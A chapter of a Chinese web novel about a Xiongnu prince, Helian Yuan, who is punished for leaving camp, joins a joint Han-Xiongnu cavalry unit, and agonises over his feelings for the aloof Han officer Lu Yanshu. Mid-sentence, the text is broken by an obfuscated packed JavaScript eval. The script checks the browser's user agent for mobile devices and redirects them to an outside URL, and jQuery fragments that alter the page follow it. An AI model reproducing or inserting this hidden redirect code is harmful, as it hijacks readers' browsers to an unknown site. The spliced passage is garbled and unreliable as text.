第十三章
赫连渊因不守军规私自外出被抽了二十大鞭。
后背上的伤口已经被清洗过了,但是依然皮开肉绽。
赫连渊懒得穿上衣,光着膀子,只着了外袴,袴脚掖在鹿皮皂靴里,精壮的一条。
手持马鞭在帐篷里甩的呼呼生风。
赫连耀和掀帘进账的时候,差点被鞭尾甩到脸上,他往后一仰,躲开迎面而来的马鞭:“嚯!谁又惹你了?这么大火气。”
赫连渊收了马鞭,随意往案几上一丢,拿了挂在黄花梨木云兽衣架上的毛巾,一边擦着身上的汗,一边斜着眼瞟了一眼赫连耀和:“你来做什么?”
赫连耀和一脸我就知道会这样的表情:“怎么?我不能来?”
赫连渊将擦汗的布巾朝着赫连耀和丢了过去,被赫连耀和一把接住:“我说你有火别往我身上撒行不?又不是我惹你生气的。”
赫连渊瞪了他一眼。
“你还瞪我?刚才若不是我躲得快,你那鞭子都甩到我脸上了,别以为我不知道你是故意的。”
赫连渊就是故意的,他也不解释,大刀阔斧的往榻上一坐,开始赶人:“我烦得很,你要是没什么事就赶紧走。”
赫连耀和往他后面一看,故意道:“烦什么?哦呦呦,挨打了,哈哈哈。”
赫连耀和与赫连渊自幼一同长大,干过离经叛道的事儿不少,没少挨打,不过那时两人是一起受罚的。
这次只有赫连渊一个人被罚,赫连耀和怎能不开心。
他啧啧惊叹:“你说你,在这里呆着不好吗?非要跑出去找那个什么陆校尉?怎么样,挨打了吧?这下开心了?”
赫连渊不开心,他很郁闷,只要一想起心事,他就烦的想揍人。
他推了一把赫连耀和:“少来给我添堵!”
赫连耀和举起双手:“这绝对没有”又神秘兮兮道:“我问你啊,这次去临戎县有没有什么发现?”
赫连渊抬起眼皮看了一眼赫连耀和:“什么发现?”
赫连耀和“扑哧”一笑,一脸天机不可泄露的模样。
赫连渊看他这样神秘兮兮的模样就来气,推着他的肩膀把人往外赶:“去去去!烦着呢,别烦我!”
赫连耀和边笑边往外走:“你不想出去吗?”
想啊!怎么不想,做梦都想。
他这不是被关着禁闭呢吗?
赫连耀和这才说出了这次来的目的:“明日便要汉匈重组铁骑营,上次秋猎得了手书的人都要参加,左贤王让我告知你,此次过错便既往不咎,让你引以为戒,莫可再犯,明日卯时东校场集合。”
赫连渊听到能出去了,这才有点开心。
…………
东西校场新建不久,东校场在疏勒河北侧河套地区,占地约三十六亩,属匈奴地界,西校场出鸡鹿塞往西八百里,置于疏勒河南缘,相比东校场大出许多,占地八十二亩,隶属汉地。
卯时,一百八十五人已经早早的等在东校场了,等吏官拿着册子点了卯。
左贤王和征远大将军这才去了点将台。
赫连渊看见陆雁书在点将台下不知与那个汉军征远大将军拱着手说些什么,末了,这才走到汉军的队伍前头。
赫连渊撑着脖子看了一会子,见陆雁书被人群遮了身影,便闷闷的收了视线,正好撞上赫连耀和这厮偷笑的眼睛。
赫连渊没好气:“干嘛?”
赫连耀和也顺着赫连渊的视线看了一眼,明白了赫连渊在看谁,他凑近赫连渊耳边,拢着手道:“怎么吵架了?这次怎么没见你凑过去?”
赫连渊就不应该相信赫连渊能说出什么好话,狗嘴里吐不出象牙:“一边去!”
这次的集军主要是为了宣布此次铁骑营的名单,匈奴九十三人,汉人九十二人,正式命名为虎贲军,寓意:勇猛如虎,急速如电,以一敌百,百战不殆。
汉人和匈奴人分两列站着,征远大将军宣读了虎贲军的军规,暂定陆雁书为汉军首队,赫连耀和为匈奴首队,各自分管虎贲军的将士,明日正式开始训练。
有一队将士拿来了专属虎贲军的军甲。
赫连渊看到陆雁书跟那发军甲的将士说了些什么,侧身朝着这边看了一下,便有十余人拿着匈奴人的军甲往这边走了。
她应该是看到他了,但是眼神没有一刻停留在他身上。
赫连渊有些失落。
虎贲军的军甲是通体磨赤的铁甲,制作精良,看着着实气派。
赫连渊跟在人群后头领了军甲,无意间看见赫连耀和在和陆雁书说些什么。
他抱着军甲,巴巴的撵了上去。
二人不知在谈论着什么,赫连耀和满面的笑容,陆雁书也难得和气,以往盛满冰霜的眸子,此刻是湖水一般的平静,目不转睛的盯着赫连耀和,微微点了点头。
陆雁书眼神一斜,只一瞬,便停止了话语。
赫连耀和顺着陆雁书的视线朝后一看,便看到赫连渊耷拉着耳朵,抱着军甲,站在了他身后。
赫连耀和一笑,将满脸失落的赫连渊往前一扯:“这是幼弟,想必陆校尉已经认识,幼弟顽劣,在临戎县给陆校尉添麻烦了。”
赫连渊转向赫连耀和,一脸你在放什么狗屁的样子。
余光却在关注着陆雁书的动静。
陆雁书清清冷冷的声音从耳畔传来:“将军过谦了,赫连王子勇猛无畏,在临戎县舍身搭救向武,本是我应该感谢赫连王子才对。”
赫连渊一听这话,耳朵都竖起来了。
他看着陆雁书,希望从他眼睛里看到陆雁书感谢的眼神。
可是陆雁书连余光都不给他,目不斜视,直直的看着赫连耀和。
赫连渊心里太不爽了,他赫连耀和有什么好看的,长得还没有他好看呢。
不过他倒是注意到了站在陆雁书身后的向武,他抱着陆雁书的军甲,不同于陆雁书的冷若冰霜,正一脸不屑的坏笑,看着自己。
赫连渊看到老熟人,盯着向武,也样学着向武的样子,仰着下巴,用鼻孔瞪着向武。
向武瞪不过赫连渊,摇头晃脑的对着赫连渊吐了吐舌头。
他还未和陆雁书说上一句话,就听陆雁书对着赫连耀和道:“本将还有军务在身,先行告退,将军勿怪。
赫连耀和伸手:“将军请!”
临走时,眼神在站在旁边的赫连渊身上一扫,并未多做停留,转身带着向武走了。
赫连渊抱着军甲往前挪了一步,小声的“哎”了一声。
看陆雁书走的绝决,暗自生气,用自己只能听到的声音嘟囔了一句:“小白脸!小白眼狼!”
赫连耀和看赫连渊怅然若失、暗自伤神的模样,慢慢将头伸到赫连渊的肩膀上,用赫连渊将才失落的语气学习他道:“小白脸,小白眼狼。”
赫连渊被他的气流窜的浑身起鸡皮疙瘩,他抖了抖肩膀,一个健步跳开。
后劲儿太足,赫连渊又忍不住抖了一下身子。
抱紧了军甲,一脸恶寒的看着赫连耀和:“要死!靠我这么近做什么?”
赫连耀和恶趣味得逞,对着他打趣道:“人都走远了,还看呢?”
赫连渊转头看了一下陆雁书的身影已经消失在校场,瘪了瘪嘴,瞪了一眼赫连耀和,抱了一下军甲,就要往回走。
“要你管!”
赫连耀和跟上他的脚步:“你说这陆校尉也真是的,好歹我弟弟还帮他剿匪呢,没有功劳也有苦劳,见面了招呼也不打,也不理理人间,可真是个小白眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974379|161267||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
狼。”
赫连渊朝着赫连耀和的肩膀一拳招呼过去,被赫连耀和一把攥住了。
“不许你说他是白眼狼!”
赫连耀和一脸震惊加好笑:“这就维护上了?我可是你哥?你为了一个刚认识几天的女……男人打我?”
赫连渊气哼哼的抽了手:“我不管,你不许说他!”
赫连耀和脑子一转,故意揶揄道:“我就说你喜欢上这个汉军校尉了吧,你还不承认?”又加油添火的说了一嘴:“喜欢男人又不是什么丢人的事儿,汉国男风盛行……”
他话还未说完,赫连渊已经满面通红,一脸做坏事被逮到的做贼心虚,灰溜溜的跑掉了。
赫连耀和哈哈大笑,对着赫连渊落荒而逃的背影道:“你告诉陆校尉,说不定人家也会同意的……”
赫连渊惊慌失措,疏勒河起了一层薄薄的冰,赫连渊淌着河水,只听脆薄的冰层如同他的心一般,“咔嚓咔嚓”响个不停。
一路到了营帐,他将军甲丢在了榻上,狠狠的灌了几口冷了的奶茶。
他暗自伤神,平静了好一会子,才慢慢的冷静下来。
他把错都怪在了陆雁书身上。
对!
就是陆雁书。
就是这个忘恩负义的陆雁书!
这个小白眼狼!
他不惜自己受罚帮他剿匪,不惜自己的性命帮他救下向武,他明明答应过自己回来要帮他说情的,要让他免于责罚,他倒好,不仅没有做到承诺自己的事情,见了面还不理人。
他就是被陆雁书给气的。
肯定是这样。
被陆雁书气的失了仪态,才让赫连渊这小子三番五次的误会。
怎么可能呢?
他怎么可能会喜欢陆雁书呢?
虽然陆雁书长得一股子娘气,可是他是个男子。
他赫连渊是匈奴的勇士,铁骨铮铮,他要喜欢的,是草原上最美,最姣软的女子,怎么可能是陆雁书?
笑话!
他只是见不得陆雁书那眼高于顶、目空一切的眼神。
对的!
他战无不胜,人人敬仰,到了这里,不是被陆雁书踢裤\裆,就是被陆雁书瞪,不是被陆雁书无视,就是被陆雁书嫌弃。
他和陆雁书八字不合,命里犯冲,他就是想要争个输赢。
他陆雁书不是汉军校尉嘛?他就是要证明自己比陆雁书强,比他厉害!
对!
是这样!
肯定是这样!
赫连渊想通了,身心都舒畅了。
临戎县的奔波,与后背的伤痛,让他这几日来都未曾好好的睡上一觉。
他心旷神怡的躺在榻上,美美的睡了一觉,醒来时已是帐外微暗。
他哼着小曲儿,摇头晃脑的脱了上衣,打算给自己上药。
够了许久,也摸不到!
他眉头一皱,想起了言而无信的陆雁书。
可恨的陆雁书,他帮他剿匪,功劳他自己领了,他倒好,军功没有,还落得一身的伤。
他越想越气。
将外褂从腰间捞起,松松垮垮的披在肩头,他决定去找陆雁书。
外间不知何时落了雨,被秋风一吹,斜斜的飘着。
赫连渊躲过了汉军巡逻的士兵,偷摸摸到了陆雁书的帐中。
他未经通报,“哗”的一下掀开陆雁书的营帐的帐帘。
这是他头一遭来陆雁书的地方,不同于匈奴营帐,陆雁书的营帐里头放着一个素朴的白色屏风。
赫连渊进账便呆住了。
陆雁书应该是在更衣,虚晃的豆灯将陆雁书的身影拉扯的更加纤细。
赫连渊看到屏风后的衣袂一晃,陆雁书厉声问道:“谁?”